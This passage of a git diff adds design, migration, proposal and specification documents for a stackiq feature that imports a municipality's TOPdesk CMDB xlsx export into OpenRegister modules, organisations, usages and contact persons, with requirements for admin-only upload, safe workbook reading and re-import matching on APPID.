2024-01-15 | +| externalModifiedAt | 2026-07-29 | 2026-09-01 | 2026-05-20 | +| bbnLevel | BBN2 | BBN1 | BBN2 | + +**Related items per object:** none seeded. Files, notes, tasks and contacts are not used by these modules. Provider and usages come from a real import, not from seeds. + +### Objects an import writes (not seeded; reference shapes for tests and docs) + +`organization` (municipality, created from `municipalityName`): + +| Field | Value | +|---|---| +| uuid | 00000000-0000-0000-0000-000000000001 | +| name | Gemeente Voorbeeldstad | +| type | Municipality | +| status | Active | + +`organization` (manufacturer): + +| Field | Object A | Object B | +|---|---|---| +| uuid | 00000000-0000-0000-0000-000000000002 | 00000000-0000-0000-0000-000000000003 | +| name | Voorbeeld Software B.V. | Fabfrikant | +| type | Supplier | Supplier | +| status | Active | Active | + +`module` (as written by the import): + +| Field | Value | +|---|---| +| uuid | 00000000-0000-0000-0000-000000000004 | +| name | naamtest123 | +| externalId | APP-test123 | +| externalNumber | 2 | +| externalKey | topdesk:00000000-0000-0000-0000-000000000001:2 | +| shortDescription | Naamtest | +| longDescription | Accomodatieplanning. | +| cloudDienstverleningsmodel | ["SaaS"] | +| bbnLevel | BBN2 | +| provider | 00000000-0000-0000-0000-000000000003 | +| publicationDate | 2026-10-01T10:00:00+00:00 | + +`usage`: + +| Field | Value | +|---|---| +| uuid | 00000000-0000-0000-0000-000000000005 | +| consumer | 00000000-0000-0000-0000-000000000001 | +| module | 00000000-0000-0000-0000-000000000004 | +| provider | 00000000-0000-0000-0000-000000000003 | +| status | In production | +| timeClassification | Tolerate | +| startDateOutPhased | 2046-02-01 | +| interneAnnotation | Beheer geregeld: ja / B10 / B10 Maatschappelijke Ontwikkeling | +| businessOwner | 00000000-0000-0000-0000-000000000006 | + +`contactPerson`: + +| Field | Value | +|---|---| +| uuid | 00000000-0000-0000-0000-000000000006 | +| contactsUid | `` | +| organization | 00000000-0000-0000-0000-000000000001 | +| role | Teamleider Applicatiebeheer | + +## Risks / Trade-offs + +- [The user sync might provision accounts for imported contact persons] → The import writes contact persons without e-mail or user fields on the OpenRegister object. A unit test runs `performUserSync`'s selection against an imported `contactPerson`. If the selection would pick it up, the implementation adds an explicit marker that excludes it before shipping, and does not ship otherwise. +- [Owner contacts land in the importing admin's address book] → `StackiqContactSyncService` writes to the first writable address book of the acting user, the same as every other stackiq contact path. The docs say so. A dedicated system address book is a follow-up. +- [Long synchronous request] → Per-row progress, cancel, and "unchanged" rows skip the save. About 1,100 rows is expected to fit. A background job is a follow-up if it does not. +- [OpenRegister internals (`MappingEngine`, `PackDefinitionValidator`, PhpSpreadsheet) change shape] → Guarded resolution with 503, and a contract test that maps the fixture through the real engine in the dev environment. +- [Provisional lookups for Applicatiesoort and BNN Classificatie] → The values of the first real import were not kept (the report lives in the progress cache for an hour). The maps hold the values the anonymised export and the CMDB formulas show (`Saas`, `Webapplicatie`, `NB`) plus the usual spellings. An unknown value is a warning, never a wrong value; once the municipality lists its values, the maps in the JSON are extended, with no code change. +- [CMDB placeholders] → "End-of-Life Functioneel" `2036-01-01` and "BNN Classificatie" `NB` are read as empty. A real end-of-life date of exactly 2036-01-01 would be lost; the municipality confirms. "Classificatie" defaults to `Tolereren` on "Beheerde" when TOPdesk has none; that cannot be told apart from a real `Tolereren` and is imported as Tolerate. +- [An application moves between the sheets] → Same APPID, so the same module and usage; the usage note (create-only) keeps its old `Beheer geregeld` line when it is not empty. +- [An unknown status on create falls back to the usage schema's default "In production"] → Accepted. The warning in the report makes it visible. +- [The fragment version is overwritten by merge order] → Filename ordering plus a unit test on the merged version (Mixed-spec rationale). + +## Migration Plan + +No data migration. The register fragment deploys with the existing repair-step register import (see `migration.md`). Rollback is a revert of the PR. The optional `module` properties may stay deployed without harm. + +## Open Questions + +- Which "Applicatiesoort" and "BNN Classificatie" values occur in the municipality's real export, and which hosting model does each mean (lookup maps)? +- Is 2036-01-01 in "End-of-Life Functioneel" always the placeholder, and should a "Beheerde" row without a TIME class really be Tolerate? +- Should the maintenance status update the usage note on re-import (it is create-only today), or get a field of its own? +- Should OpenRegister promote `MigrationPack\MappingEngine` to its `Contract` namespace? diff --git a/openspec/changes/cmdb-export-import/migration.md b/openspec/changes/cmdb-export-import/migration.md new file mode 100644 index 000000000..b0b8cd43d --- /dev/null +++ b/openspec/changes/cmdb-export-import/migration.md @@ -0,0 +1,52 @@ +# Migration: cmdb-export-import + +## Current State + +The `module` schema in register `stackiq` is at version `0.3.4` after merging `softwarecatalogus_register.json` (0.3.3) with `register.d/maintenance-and-roadmap.json` (0.3.4, `roadmapStatement`). It has no property that holds an identifier from an external source system. No Nextcloud database table is involved (ADR-001). OpenRegister stores modules in its magic table for the `stackiq` register and `module` schema. + +## Target State + +The `module` schema is at version `0.3.5` with five extra optional properties, all `visible`. None is `required`, so every existing module stays valid unchanged. + +| Property | Type | Notes | +|---|---|---| +| `externalId` | string, maxLength 100 | TOPdesk Applicatie Code (the Middel-ID), shown as "Source id"; reference only | +| `externalNumber` | string, maxLength 50 | TOPdesk APPID ("ICT Applicatienummer") | +| `externalKey` | string, maxLength 200, `table.default: false` | `topdesk::`, the import's match key | +| `externalCreatedAt` | string, format date | creation date in the source system | +| `externalModifiedAt` | string, format date | last change in the source system | + +Three seed modules (design.md, Seed Data) are added through the fragment's `components.objects`. + +## Migration Class + +No Nextcloud migration class. The schema change deploys through stackiq's existing register import in the repair step (`SettingsService` loads `softwarecatalogus_register.json`, deep-merges `register.d/*.json` in filename order, and imports the result through OpenRegister's `ConfigurationService`). OpenRegister adds the new columns to the magic table when the schema version increases. + +``` +Version: n/a (register version bump, no lib/Migration class) +File: lib/Settings/register.d/topdesk-cmdb-import.json +Key operations: +- components.schemas.module.version = "0.3.5" +- components.schemas.module.properties += externalId, externalNumber, externalKey, externalCreatedAt, externalModifiedAt +- components.objects += 3 seed modules (no publicationDate, no externalKey) +``` + +## Migration Steps + +1. Add `lib/Settings/register.d/topdesk-cmdb-import.json`. The filename must sort after `maintenance-and-roadmap.json`, so its `module.version` wins the scalar overwrite in the merge. +2. Run the repair step (app upgrade or `occ maintenance:repair`). OpenRegister sees `module` 0.3.5 > deployed 0.3.4, and updates the schema and its magic table. +3. Seed modules are created when absent (matched on slug), as with the other seeds. + +## Data Impact + +Existing modules get five new empty columns. There is no data loss and no transformation. Safe on live data: the change is additive, and the columns are nullable. + +## Rollback Procedure + +Remove the fragment and revert the PR. OpenRegister does not drop columns on a lower version, so the five columns stay, empty, and nothing reads them. To remove imported data, delete the modules with a non-empty `externalKey` and their usages. To remove the seed modules, delete the slugs `voorbeeld-zaaksysteem`, `voorbeeld-afsprakenplanner` and `voorbeeld-belastingapplicatie`. + +## Validation + +- Unit test `tests/Unit/Settings/TopdeskCmdbFragmentTest.php` merges the register exactly as `SettingsService` does, and asserts `module.version === "0.3.5"` with the five properties present and none required. +- On the rig after the repair step: `GET /index.php/apps/openregister/api/schemas/` shows version `0.3.5` and the five properties. +- `GET /index.php/apps/openregister/api/objects/stackiq/module?externalId=APP-00001` returns the seed module `voorbeeld-zaaksysteem`. diff --git a/openspec/changes/cmdb-export-import/proposal.md b/openspec/changes/cmdb-export-import/proposal.md new file mode 100644 index 000000000..5c9b4f93f --- /dev/null +++ b/openspec/changes/cmdb-export-import/proposal.md @@ -0,0 +1,105 @@ +--- +kind: code +depends_on: [] +--- + +# Proposal: cmdb-export-import + +## Summary + +A Nextcloud admin uploads a TOPdesk CMDB export (xlsx) in stackiq's admin settings, picks the municipality the export belongs to, and stackiq turns every application row into OpenRegister objects in the `stackiq` register: a `module` (the application), an `organization` for its vendor, a `usage` that links the application to the municipality and records whether maintenance is arranged, and a `contactPerson` for the application owner, which is never publicly readable. The rows come from the two CMDB sheets, "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB". Rows are matched on TOPdesk's APPID (ICT Applicatienummer), so a second import of a newer export updates the same records instead of duplicating them. The column-to-field mapping is declarative JSON executed by OpenRegister's migration-pack mapping engine. The admin follows the import live and gets a per-row report: created, updated, unchanged, skipped or failed, with the reason. + +## Motivation + +A municipality wants to search all its applications in one place in OpenCatalogi and see the ones it uses in Portaliq. Its CMDB is the source of that list, but a live API connection is not possible yet (calls must come from the municipality's own IP range), so the municipality delivers a periodic TOPdesk export instead (Jira WOO-586, epic WOO-281). + +The existing paths cannot read this file. A chain baseline on a local rig (2026-10-01) showed: + +- `POST /api/registers/{id}/import` in OpenRegister treats every xlsx sheet as a schema named after the sheet, and stops at the first sheet: `Schema not found (id='Invoer AIA data')`. +- OpenRegister migration packs apply to CSV and JSON imports only, and one pack maps one sheet to one schema. One TOPdesk row has to become a module, a manufacturer organisation, a usage and up to two contact persons, linked to each other. +- OpenCatalogi only lists a stackiq module that has a `publicationDate`. Portaliq only shows an application to a municipality through a `usage` whose `consumer` is that municipality. An import that writes modules alone leaves both apps empty. + +Stackiq already has two upload-and-import flows (SBOM, ArchiMate). This change adds a third one for CMDB exports, built the same way. + +## Capabilities + +### New Capabilities + +- `cmdb-export-import`: an admin uploads a TOPdesk CMDB export (xlsx) and stackiq creates or updates modules, vendor organisations, usages and owner contact persons for one municipality, matched on the TOPdesk APPID, with live progress and a per-row report. + +### Modified Capabilities + +None. The `module` schema gains five optional properties through a register fragment (see design.md, Mixed-spec rationale). No existing requirement changes. + +## Affected Projects + +- [ ] Project: `stackiq`: import service, controller and routes, a "CMDB import" section in admin settings, declarative mapping and import-profile JSON under `lib/Settings/cmdb-import/`, a register fragment that adds external-id properties to `module`, tests, administrator docs and translations. + +## Scope + +### In Scope + +- Upload endpoint for `.xlsx` files only, with a size limit, admin-only and CSRF-protected. +- Reading the two CMDB sheets the municipality uses as its CMDB (decided with the municipality on 2026-10-01): "Onbeh Applicaties CMDB" (from the AIA export: applications without arranged maintenance) and "Beheerde Applicaties CMDB" (from the APP export: with arranged maintenance). The raw "Invoer" sheets are not read. Columns are found by header name per sheet, not position. The CMDB sheets are formulas: the value Excel cached is read; formulas are never evaluated, and a formula without a cached value is an empty cell with a row warning. +- One municipality per import, chosen by the admin from existing stackiq organisations of type Municipality, or created from a name the admin types. +- Per row: upsert the `module` on APPID, find or create the vendor `organization` from the "Vendor" column (one organisation per distinct vendor), upsert the `usage` (consumer = municipality, module = the application, maintenance arranged yes/no in its note), and find or create the `contactPerson` for "Applicatie Eigenaar (Persoon)" (business owner) through Nextcloud Contacts. Contact persons and usages stay out of every public read. +- Declarative mapping: one migration-pack JSON per target (module, manufacturer, municipality, usage, business owner) plus one import profile (sheets, sheet constants, required columns, key column, date columns, placeholder values), executed through OpenRegister's `MappingEngine::mapRow()`. +- Excel serial dates converted to ISO dates before mapping. +- `publicationDate` set to the import time on newly created modules, never changed on update. +- Repeatable import: matched records are updated, records missing from a newer export are left alone (`missingRecords: keep`, the only accepted value for now). +- Per-row error isolation, live progress and cancel through the existing `ProgressTracker`, and a per-row report. +- PHPUnit tests using the anonymised test export as a fixture, a Playwright e2e for the admin flow, an administrator docs page, and Dutch and English strings. + +### Out of Scope + +- The "Invoer" sheets, and the archive sheet "Gearchiveerde Applicaties" (follow-up: mark an APPID that left the CMDB sheets as archived). +- Connections between applications from the "Ouders" / "Kind-middelen" columns (a second pass after all modules exist, as a follow-up change). +- Suites from "Software Suite", hosting parties from "Hostingpartij", "Leverancier" as a second supplier source, and the functional administrator (FB contactpersoon) as technical owner. The mapping can take them later without code once a target is agreed. +- Marking or removing records that disappeared from a newer export (`missingRecords: mark|remove`, reserved values; belongs with operations-record-reconciliation, stackiq#1127). +- A live TOPdesk or ServiceNow connection (stackiq#373, stackiq#1134), a dry-run mode, an `occ` command, and running the import as a background job. +- Configuring OpenCatalogi catalogues or Portaliq account claims. The docs describe both prerequisites; the import does not write to those apps. + +## Approach + +A `CmdbImportController` accepts the upload and options, validates the file before parsing, and hands it to `CmdbExportImportService`. The service reads the two sheets with PhpSpreadsheet's Xlsx reader in read-data-only mode, resolves columns by header name from the import profile, normalises each row (trim, Excel serial to ISO date, numeric ids to strings), and maps it with OpenRegister's migration-pack `MappingEngine` once per target pack. It then resolves the related objects in a fixed order (manufacturer, module, contact persons, usage) and saves each through OpenRegister's `ObjectServiceInterface`. Each row runs in its own try/catch and its outcome goes into the report. Progress and cancel use the existing `ProgressTracker` and `/api/progress/{operationId}` route, as the ArchiMate import does. A new admin-settings section uploads the file, polls progress and shows the report. Details are in design.md. + +## New Dependencies + +None for stackiq's `composer.json` or `package.json`. The xlsx reader (`phpoffice/phpspreadsheet`) and the mapping engine come from OpenRegister, which stackiq already requires. Design.md describes the guard for when either class is not available. + +## Impact + +- **New backend**: `lib/Service/CmdbExportImportService.php` (plus small helpers for sheet reading and row normalisation), `lib/Controller/CmdbImportController.php`, two routes in `appinfo/routes.php`. +- **New configuration**: `lib/Settings/cmdb-import/topdesk-profile.json` and five pack files `lib/Settings/cmdb-import/topdesk-*.json`. +- **Schema**: `lib/Settings/register.d/topdesk-cmdb-import.json` adds `externalId`, `externalNumber`, `externalKey`, `externalCreatedAt` and `externalModifiedAt` to `module` (all optional), with a version bump so the register import deploys them. +- **New frontend**: `src/views/settings/sections/CmdbImport.vue`, registered in `src/views/settings/StackiqSettings.vue`. +- **Data**: imports write `module`, `organization`, `usage` and `contactPerson` objects, and Nextcloud Contacts cards for owners. No existing object is deleted. + +## Cross-Project Dependencies + +- **openregister** (consumed, not changed): `ObjectServiceInterface` (public contract), `MigrationPack\MappingEngine` and `PackDefinitionValidator` (not yet a public contract), and the PhpSpreadsheet library it ships. +- **opencatalogi** and **portaliq** (consumers, not changed): they show the imported data once their own configuration is in place, namely a catalogue that includes the stackiq register's `module` schema, and a portal account with claim `stackiq.organisationId` for the municipality. Portaliq's contribution is stackiq's existing `usage` contribution (hydra ADR-046); this change adds no new portal contribution. + +## Risks + +### Risk 1: Personal data from a third party's export +**Severity:** High — **Mitigation:** only the owner columns the import maps ("Applicatie Eigenaar (Persoon)", "Applicatie Eigenaar (Functie)") are read into stackiq, and they go to Nextcloud Contacts as the existing contact model requires. The "Invoer" sheets, with personnel numbers, phone numbers and group mailboxes, are never read. `contactPerson` and `usage` have no public read rule, so owners never reach OpenCatalogi or Portaliq anonymously; a unit test pins the rule and an e2e test checks it anonymously. The report and the logs name rows by sheet, row number and APPID only. Tests use the anonymised export. The import never creates Nextcloud user accounts, and a test asserts that the contact-person objects it writes do not qualify for the user sync. + +### Risk 2: Hidden coupling to OpenRegister internals +**Severity:** Medium — **Mitigation:** `MappingEngine`, `PackDefinitionValidator` and PhpSpreadsheet are resolved through the container or a `class_exists` check. If any of them is missing, the import endpoint answers 503 with a clear message instead of failing halfway. Promoting `MappingEngine` to an OpenRegister contract is noted as an open question. + +### Risk 3: Long imports over HTTP +**Severity:** Medium — **Mitigation:** an export with about 1,100 rows needs several saves per row. The service reports progress per row, honours cancel between rows, and skips the save when nothing changed. A background-job variant is a follow-up if real exports time out. + +### Risk 4: TOPdesk values that do not match stackiq vocabularies +**Severity:** Low — **Mitigation:** "Applicatie Status", "Classificatie", "Applicatiesoort" and "BNN Classificatie" go through `lookup` maps. An unknown value drops only that field, and the row gets a warning that names the column and the value. Admins can extend the maps in the JSON. + +## Rollback Strategy + +The change is additive. Revert the PR to remove the routes, the settings section, the service and the mapping files. The register fragment only adds optional properties; after a revert they stay in the deployed schema without harm, and imported objects stay as ordinary stackiq objects. To remove imported data, filter modules on a non-empty `externalKey` and delete them together with their usages. + +## Open Questions + +- Answered on 2026-10-01: the CMDB sheets are the source; AIA = without arranged maintenance, APP = with; archived applications are a follow-up; the key is the APPID. +- Which "Applicatiesoort" and "BNN Classificatie" values occur in the real export, and which hosting model does each "Applicatiesoort" mean? The lookup maps are provisional. +- Should OpenRegister expose `MappingEngine` as a public contract (as it does for `ObjectServiceInterface`)? diff --git a/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md new file mode 100644 index 000000000..92ccf2d7c --- /dev/null +++ b/openspec/changes/cmdb-export-import/specs/cmdb-export-import/spec.md @@ -0,0 +1,409 @@ +# cmdb-export-import Specification + +**Status**: in-progress +**Scope**: stackiq +**OpenSpec changes**: +- [cmdb-export-import](../../changes/cmdb-export-import/) + +## Purpose + +A Nextcloud admin imports a TOPdesk CMDB export (xlsx) into stackiq for one municipality. Every application row of the export's two CMDB sheets ("Onbeh Applicaties CMDB", applications without arranged maintenance, and "Beheerde Applicaties CMDB", with arranged maintenance) becomes, or updates, a `module` (schema:SoftwareApplication) with its vendor `organization` (schema:Organization), a `usage` that links the application to the municipality, and a `contactPerson` (schema:Person) for its owner, which is never publicly readable. All data is stored as OpenRegister objects (ADR-001). The column-to-field mapping is declarative JSON executed by OpenRegister's mapping engine (ADR-011, ADR-031), so the import can be repeated with a newer export without creating duplicates. OpenCatalogi lists the imported applications, and Portaliq shows them to the municipality. + +Nextcloud OCP interfaces used: `OCP\IRequest` (multipart upload), `OCP\IUserSession` and `OCP\IGroupManager` (admin check), `OCP\Contacts\IManager` (owner identity, through `StackiqContactSyncService`), `OCP\ICacheFactory` (progress, through `ProgressTracker`), `OCP\IL10N` (messages). OpenRegister: `OCA\OpenRegister\Contract\ObjectServiceInterface` for every read and write. + +## ADDED Requirements + +### Requirement: REQ-CMDB-001 The import endpoint SHALL accept only a bounded xlsx upload from a Nextcloud admin + +`POST /api/cmdb-import` SHALL be reachable only by Nextcloud admins and SHALL require Nextcloud's CSRF token. The endpoint SHALL NOT carry `#[NoAdminRequired]` or `#[NoCSRFRequired]`. It SHALL reject the upload before any parsing when the file is larger than the configured maximum (default 10 MB), when its name does not end in `.xlsx`, or when its content is not a ZIP package containing `xl/workbook.xml`. Macro-enabled (`.xlsm`), legacy (`.xls`) and CSV files SHALL be rejected. No object SHALL be written in any of these cases. + +#### Scenario: A file that is not xlsx is rejected +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** a Nextcloud admin on the CMDB import section +- **WHEN** they upload `applications.csv`, or a file named `export.xlsx` whose content is plain text +- **THEN** the endpoint SHALL answer 400 with error `NOT_XLSX` +- **AND** no `module`, `organization`, `usage` or `contactPerson` object SHALL be created or changed + +#### Scenario: An oversized file is rejected before it is read +@e2e exclude Building a file over 10 MB in the browser adds nothing over the unit test; tests/Unit/Controller/CmdbImportControllerTest.php asserts 413 FILE_TOO_LARGE and that the reader is never called. + +- **GIVEN** an xlsx upload of 10 MB plus one byte +- **WHEN** a Nextcloud admin posts it to `POST /api/cmdb-import` +- **THEN** the endpoint SHALL answer 413 with error `FILE_TOO_LARGE` +- **AND** the workbook reader SHALL NOT be invoked + +#### Scenario: A user who is not a Nextcloud admin cannot import +@e2e exclude Authorisation rule; tests/Unit/Controller/CmdbImportControllerTest.php asserts the method has no NoAdminRequired attribute, and the Newman collection asserts 403 for a non-admin user. + +- **GIVEN** a signed-in user who is not a Nextcloud admin, including a member of `software-catalog-admins` +- **WHEN** they post an export to `POST /api/cmdb-import` +- **THEN** Nextcloud SHALL answer 403 +- **AND** no object SHALL be written + +#### Scenario: A request without a CSRF token is refused +@e2e exclude CSRF is enforced by Nextcloud's middleware; the Newman collection posts without a requesttoken and asserts 412. + +- **GIVEN** a Nextcloud admin session +- **WHEN** a request to `POST /api/cmdb-import` arrives without a valid `requesttoken` header or parameter +- **THEN** Nextcloud SHALL refuse it with 412 +- **AND** no object SHALL be written + +### Requirement: REQ-CMDB-002 The workbook SHALL be read as stored data, without evaluating formulas or following links + +The reader SHALL open the workbook with PhpSpreadsheet's Xlsx reader in read-data-only mode, SHALL load only the sheets named in the import profile, and SHALL read each cell's stored value. For a formula cell it SHALL use the value cached in the file and SHALL NOT evaluate the formula. It SHALL NOT contact external data connections, linked workbooks or URLs found in the file. A formula cell without a cached value SHALL be read as empty and SHALL add a row warning naming the column; it SHALL NOT fail the row or the import. A formula whose cached value is the number 0 (Excel's result for a reference to an empty cell) SHALL be read as empty. It SHALL stop with 422 `TOO_MANY_ROWS` when a source sheet holds more data rows than the profile's limit (default 10,000). + +#### Scenario: A formula cell yields its cached value and is not evaluated +@e2e exclude Reader behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture whose source sheet has a formula cell and asserts the cached value is returned and the calculation engine is never invoked. + +- **GIVEN** a CMDB sheet where column "Applicatie Naam" in row 2 holds a formula with a cached value `Rekenmodel` +- **WHEN** the workbook is read +- **THEN** the row SHALL carry `Applicatie Naam = Rekenmodel` +- **AND** the formula SHALL NOT be evaluated + +#### Scenario: A formula without a cached value is read as empty with a warning +@e2e exclude Reader and service behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture whose "Roepnaam" formula has no cached value, and tests/Unit/Service/CmdbExportImportServiceTest.php asserts the row warning. + +- **GIVEN** a CMDB sheet where column "Roepnaam" in row 2 holds a formula without a cached value +- **WHEN** the workbook is imported +- **THEN** the row SHALL be imported with an empty "Roepnaam" +- **AND** the row's report entry SHALL carry the warning `Column "Roepnaam": formula without a cached value, read as empty` + +#### Scenario: An external data connection in the workbook is never contacted +@e2e exclude Network isolation; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture that declares an external connection, with a reader that has no HTTP client, and asserts the read succeeds. + +- **GIVEN** an export that contains `xl/connections.xml` with an external data connection +- **WHEN** the workbook is read +- **THEN** no network request SHALL be made +- **AND** the source sheets SHALL be read normally + +### Requirement: REQ-CMDB-003 Columns SHALL be resolved by header name, and a missing required column SHALL stop the import with 422 + +The source sheets SHALL be the CMDB sheets "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB"; the "Invoer" sheets SHALL NOT be read. The reader SHALL take the first row of each source sheet as headers and SHALL match them to the profile's column names per sheet, case-insensitively, after trimming whitespace and dropping a trailing `:` or `⚡`. Column order SHALL NOT matter. When a present source sheet lacks a column the profile marks as required (`APPID`, `Applicatie Naam`), the endpoint SHALL answer 422 with error `MISSING_COLUMN`, naming the column and the sheet, before any object is written. When neither source sheet exists, the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET`, naming both expected sheets. A missing optional column SHALL produce one import-level warning and no row error, except for a column the profile lists as absent on that sheet (`Nickname` on "Onbeh Applicaties CMDB"). + +#### Scenario: A missing required column is named in the 422 response +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** an export whose sheet "Beheerde Applicaties CMDB" has no column "APPID" +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 422 with error `MISSING_COLUMN`, column `APPID` and sheet `Beheerde Applicaties CMDB` +- **AND** the section SHALL show that column and sheet name to the admin +- **AND** no object SHALL be written + +#### Scenario: Columns in a different order map the same +@e2e exclude Reader behaviour; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php reads a fixture with shuffled columns and asserts identical rows. + +- **GIVEN** an export where "Applicatie Naam" comes before "APPID" and the header reads `Vendor⚡` +- **WHEN** the workbook is read +- **THEN** every row SHALL carry the same values under the profile's column names as in the original order + +#### Scenario: A workbook without either source sheet is refused +@e2e exclude Same error path as the missing column; tests/Unit/Service/Cmdb/CmdbWorkbookReaderTest.php asserts NO_SOURCE_SHEET naming both sheets. + +- **GIVEN** an xlsx that contains only a sheet "Blad1" +- **WHEN** a Nextcloud admin uploads it +- **THEN** the endpoint SHALL answer 422 with error `NO_SOURCE_SHEET` naming "Onbeh Applicaties CMDB" and "Beheerde Applicaties CMDB" + +### Requirement: REQ-CMDB-004 Every import SHALL have exactly one consuming municipality, chosen by the admin + +The request SHALL carry either `municipalityUuid`, the uuid of an existing stackiq `organization` of type `Municipality`, or `municipalityName`, a name for a new one. With a name, the service SHALL reuse an existing organisation of type `Municipality` with the same normalised name, or create one through the municipality pack (type `Municipality`, status `Active`). It SHALL answer 422 `MUNICIPALITY_REQUIRED` when neither is given, and 422 `MUNICIPALITY_INVALID` when the uuid does not resolve to an organisation of type `Municipality`. Every `usage` and `contactPerson` the import writes SHALL reference that organisation. + +#### Scenario: The admin picks an existing municipality +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** an organisation "Gemeente Voorbeeldstad" of type `Municipality` +- **WHEN** a Nextcloud admin selects it and imports the anonymised export +- **THEN** both imported usages SHALL have `consumer` = the uuid of "Gemeente Voorbeeldstad" +- **AND** no new organisation of type `Municipality` SHALL be created + +#### Scenario: A new municipality is created once from a typed name +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php imports twice with municipalityName "Gemeente Voorbeeldstad" and asserts one organisation of type Municipality. + +- **GIVEN** no organisation named "Gemeente Voorbeeldstad" +- **WHEN** a Nextcloud admin imports with `municipalityName` "Gemeente Voorbeeldstad", and later imports again with the same name +- **THEN** exactly one organisation "Gemeente Voorbeeldstad" of type `Municipality` and status `Active` SHALL exist + +#### Scenario: An import without a municipality is refused +@e2e exclude Validation; tests/Unit/Controller/CmdbImportControllerTest.php asserts 422 MUNICIPALITY_REQUIRED, and 422 MUNICIPALITY_INVALID for the uuid of a Supplier organisation. + +- **GIVEN** a valid export +- **WHEN** a Nextcloud admin posts it with neither `municipalityUuid` nor `municipalityName` +- **THEN** the endpoint SHALL answer 422 with error `MUNICIPALITY_REQUIRED` +- **AND** no object SHALL be written + +### Requirement: REQ-CMDB-005 Field mapping SHALL be declarative and executed by OpenRegister's mapping engine + +The service SHALL map each normalised row with OpenRegister's `MigrationPack\MappingEngine::mapRow()`, once per target pack: module, manufacturer, municipality, usage, business owner. The packs and the import profile SHALL ship as JSON under `lib/Settings/cmdb-import/`. Each pack SHALL pass OpenRegister's `PackDefinitionValidator` when the import starts; an invalid pack, or a missing `MappingEngine`, SHALL stop the import with 503 `MAPPING_UNAVAILABLE` before any row is read. Before mapping, the service SHALL convert the cells of the profile's date columns from Excel serial numbers to `Y-m-d`, SHALL turn numeric id cells into strings without a decimal part, SHALL read a value the profile lists as empty for its column (`NB` in "BNN Classificatie", serial `49675` in "End-of-Life Functioneel") as empty, and SHALL add the constants of the row's sheet (`Beheer` = `Beheer geregeld: nee` or `ja`). A mapping error on a mapping marked `required` in the module pack SHALL skip the row. In the manufacturer and owner packs it SHALL mean the row has no manufacturer or no such owner, without a warning. A mapping error on any other mapping SHALL drop only that field and add a row warning naming the column and the value. The reader SHALL keep only the columns that the profile or a pack references, and SHALL discard every other cell when it reads the row. + +#### Scenario: Excel serial dates are converted before mapping +@e2e exclude Pure transformation; tests/Unit/Service/Cmdb/CmdbRowNormaliserTest.php asserts the conversions below. + +- **GIVEN** the "Onbeh" row of the anonymised export with "Datum" = `45111.380322627316` and "Referentie datum wijziging" = `46232.552113113423`, and the "Beheerde" row with "End-of-Life Functioneel" = `53359` +- **WHEN** the rows are normalised +- **THEN** "Datum" SHALL be `2023-07-04`, "Referentie datum wijziging" SHALL be `2026-07-29`, and "End-of-Life Functioneel" SHALL be `2046-02-01` +- **AND** "APPID" `1234` SHALL be the string `"1234"` +- **AND** "End-of-Life Functioneel" `49675` and "BNN Classificatie" `NB` SHALL be empty + +#### Scenario: Changing a pack changes the mapping without code +@e2e exclude Configuration behaviour; tests/Unit/Service/CmdbExportImportServiceTest.php loads an alternate module pack that maps "Software Suite" to licentietype and asserts the mapped module. + +- **GIVEN** the module pack is edited to add a mapping from "Software Suite" to `licentietype` +- **WHEN** an export is imported whose row has "Software Suite" = `Suite` +- **THEN** the created module SHALL have `licentietype` = `Suite` +- **AND** no PHP code SHALL have changed + +#### Scenario: An unknown status value drops only that field +@e2e exclude Mapping behaviour; tests/Unit/Service/CmdbExportImportServiceTest.php asserts the row outcome and warning. + +- **GIVEN** a row whose "Applicatie Status" is `Onbekende status`, which the usage pack's lookup does not contain +- **WHEN** the row is imported +- **THEN** the module and the usage SHALL be saved without a status from the export +- **AND** the row's report entry SHALL carry a warning naming column "Applicatie Status" and value `Onbekende status` + +#### Scenario: The classifications map to the stackiq fields +@e2e exclude Mapping behaviour; tests/Unit/Service/CmdbExportImportServiceTest.php imports the fixture and asserts the fields. + +- **GIVEN** the "Beheerde" row of the anonymised export with "Applicatiesoort" `Saas`, "BNN Classificatie" `BBN2`, "Classificatie" `Tolereren` and "End-of-Life Functioneel" `53359` +- **WHEN** it is imported +- **THEN** the module SHALL have `cloudDienstverleningsmodel` = `["SaaS"]` and `bbnLevel` = `BBN2` +- **AND** the usage SHALL have `timeClassification` = `Tolerate` and `startDateOutPhased` = `2046-02-01` +- **AND** the "Onbeh" row's "Applicatiesoort" `Webapplicatie`, which is not a hosting model, SHALL be dropped with a warning + +### Requirement: REQ-CMDB-006 A module SHALL be matched on its TOPdesk APPID, so a re-import updates instead of duplicating + +For each row the service SHALL compute `externalKey` = `topdesk::` (the APPID is TOPdesk's ICT Applicatienummer; the Applicatie Code, or Middel-ID, can change in TOPdesk and is stored as `externalId` for reference only) and look up a `module` with that `externalKey`. When none exists it SHALL create one. When one exists it SHALL update only the fields the module pack maps and SHALL leave every other field as it is. When the mapped fields equal the stored values it SHALL NOT save the module and SHALL report the row as `unchanged`. With `updateExisting=false` a matched row SHALL be reported as `skipped` with reason `exists`, without changes. A row without an APPID SHALL be skipped with reason `missing APPID`. When an APPID occurs more than once in one upload, across both sheets, the first occurrence SHALL be imported and every later one SHALL be skipped with reason `duplicate APPID in file`. + +#### Scenario: Re-importing the same export creates no duplicates +@e2e tests/e2e/spec-coverage/cmdb-import.spec.ts + +- **GIVEN** the anonymised export was imported once for "Gemeente Voorbeeldstad", which created the modules with APPID `1234` and `2` +- **WHEN** the same export is imported again for the same municipality +- **THEN** the report SHALL show 0 created and 2 unchanged rows +- **AND** the number of modules, organisations, usages and contact persons in the register SHALL be the same as after the first import + +#### Scenario: A changed field is updated on re-import +@e2e exclude Covered by the service test; tests/Unit/Service/CmdbExportImportServiceTest.php 